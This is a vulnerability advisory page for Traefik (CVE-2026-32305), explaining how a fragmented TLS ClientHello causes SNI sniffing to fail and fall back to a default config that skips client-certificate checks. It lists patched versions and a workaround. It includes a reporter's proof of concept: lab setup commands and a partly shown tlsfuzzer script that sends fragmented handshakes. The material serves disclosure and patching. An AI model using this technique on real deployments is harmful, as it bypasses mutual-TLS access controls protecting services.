Advisory

GHSA-wvvq-wgcr-9q48

Also known as: CVE-2026-32305, GO-2026-4793

Summary

Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config

Details

Summary

There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.

When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.41
  • https://github.com/traefik/traefik/releases/tag/v3.6.11
  • https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details>
<summary>Original Description</summary>

Summary
I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.

If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).

Details
The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.

  1. In router.go, ServeTCP function calls clientHelloInfo.
  2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes.

It runs a temporary TLS parse on those bytes to extract the SNI.
If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing).

  1. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive)
  2. Real Go TLS handshake succeeds later without requiring the client cert.
  3. Request is routed to the host that should have been protected.

Conditions required for impact:

  • Route-level TLS options enforce mTLS for a host.
  • Default TLS config is weaker (noClientCert, which is the default default).
  • Pre-sniff fails to extract SNI (due to fragmented ClientHello).

A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).

A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).

PoC

# prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it)
sudo apt update
sudo apt install -y docker.io openssl git python3 python3-venv
sudo usermod -aG docker "$USER"
# in debian/ubuntu run newgrp docker to apply the new group to the user

mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic}
cd /tmp/traefik-frag-poc

# CA
openssl genrsa -out certs/ca.key 4096
openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \
  -subj "/CN=PoC-CA" -out certs/ca.crt

# Server cert (whoami.home.arpa)
cat > certs/server.cnf <<'EOF_SERVER_CNF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no

[dn]
CN = whoami.home.arpa

[v3_req]
subjectAltName = @alt_names

[alt_names]
DNS.1 = whoami.home.arpa
EOF_SERVER_CNF

openssl genrsa -out certs/traefik.key 2048
openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf
openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
  -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf

# Client cert (valid client)
openssl genrsa -out certs/client.key 2048
openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr
openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \
  -out certs/client.crt -days 365 -sha256

cat > config/traefik.yml <<'EOF_TRAEFIK_CFG'
entryPoints:
  websecure:
    address: ":8443"

providers:
  file:
    directory: /etc/traefik/dynamic
    watch: true

log:
  level: DEBUG
EOF_TRAEFIK_CFG

cat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG'
http:
  routers:
    whoami:
      rule: "Host(`whoami.home.arpa`)"
      entryPoints:
        - websecure
      service: whoami
      tls:
        options: mtls

  services:
    whoami:
      loadBalancer:
        servers:
          - url: "http://whoami:80"

tls:
  certificates:
    - certFile: /certs/traefik.crt
      keyFile: /certs/traefik.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert
EOF_DYNAMIC_CFG

docker network create traefik-poc


# run a whoami microservice for the bypass demonstration
docker run -d \
  --name whoami \
  --network traefik-poc \
  --restart unless-stopped \
  traefik/whoami:v1.11.0

docker run -d \
  --name traefik \
  --network traefik-poc \
  -p 8443:8443 \
  --restart unless-stopped \
  -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \
  -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \
  -v "$PWD/certs:/certs:ro,Z" \
  traefik:3.6.10 \
  --configFile=/etc/traefik/traefik.yml

# watch traefik logs to ensure everything was deployed correctly
docker logs traefik

# tlsfuzzer setup + frag client script

mkdir -p /tmp/testtlsfuzz
cd /tmp/testtlsfuzz
git clone https://github.com/tlsfuzzer/tlsfuzzer.git
cd tlsfuzzer

python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

cat > frag_clienthello.py <<'EOF_FRAG_SCRIPT'
import argparse
import sys
import os

from tlsfuzzer.runner import Runner
from tlsfuzzer.messages import (
    Connect,
    SetMaxRecordSize,
    ClientHelloGenerator,
    CertificateGenerator,
    CertificateVerifyGenerator,
    ClientKeyExchangeGenerator,
    ChangeCipherSpecGenerator,
    FinishedGenerator,
    ApplicationDataGenerator,
    AlertGenerator,
)
from tlsfuzzer.expect import (
    ExpectServerHello,
    ExpectCertificate,
    ExpectServerKeyExchange,
    ExpectCertificateRequest,
    ExpectServerHelloDone,
    ExpectChangeCipherSpec,
    ExpectFinished,
    ExpectApplicationData,
    ExpectAlert,
    ExpectClose,
)
from tlsfuzzer.helpers import SIG_ALL
from tlslite.constants import (
    CipherSuite,
    ExtensionType,
    AlertLevel,
    AlertDescription,
    GroupName,
)
from tlslite.extensions import (
    SNIExtension,
    TLSExtension,
    SupportedGroupsExtension,
    SignatureAlgorithmsExtension,
    SignatureAlgorithmsCertExtension,
)
from tlslite.utils.keyfactory import parsePEMKey
from tlslite.x509 import X509
from tlslite.x509certchain import X509CertChain


class PrettyExpectApplicationData(ExpectApplicationData):
    def process(self, state, msg):
        super().process(state, msg)
        text = msg.write().decode("utf-8", errors="replace")
        head, _, body = text.partition("\r\n\r\n")
        print("\n=== HTTP RESPONSE ===")
        print(head)
        print()
        print(body)
        print("=== END HTTP RESPONSE ===\n")


def load_client_cert_and_key(cert_path, key_path):
    cert = None
    key = None

    if cert_path:
        text_cert = open(cert_path, "rb").read()
        if sys.version_info[0] >= 3:
            text_cert = str(text_cert, "utf-8")
        cert = X509()
        cert.parse(text_cert)

    if key_path:
        text_key = open(key_path, "rb").read()
        if sys.version_info[0] >= 3:
            text_key = str(text_key, "utf-8")
        key = parsePEMKey(text_key, private=True)

    return cert, key


def main():
    p = argparse.ArgumentParser()
    p.add_argument("--connect-host", default="127.0.0.1")
    p.add_argument("--port", type=int, default=8443)
    p.add_argument("--sni", default="whoami.home.arpa")
    p.add_argument("--record-size", type=int, default=512)
    p.add_argument("--padding-len", type=int, default=1200)
    p.add_argument("--expect-cert-request", action="store_true")
    p.add_argument("--client-cert-pem", default="")
    p.add_argument("--client-key-pem", default="")
    args = p.parse_args()

    cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem)

    print(f"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}")
    for p in [args.client_cert_pem, args.client_key_pem]:
        if p:

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-20 15:43 UTC
Modified
2026-04-16 02:14 UTC

Affected packages and fixes

github.com/traefik/traefik/v3

Go · All systems

Affected

  • introduced 3.7.0-ea.1, fixed 3.7.0-ea.2 (semver)

Fixed versions

3.7.0-ea.2

Fix

github.com/traefik/traefik/v3

Go · All systems

Affected

  • introduced 0, fixed 3.6.11 (semver)

Fixed versions

3.6.11

Fix

github.com/traefik/traefik/v2

Go · All systems

Affected

  • introduced 0, fixed 2.11.41 (semver)

Fixed versions

2.11.41

Fix

github.com/traefik/traefik

Go · All systems

Affected

  • introduced 0, last affected 1.7.34 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences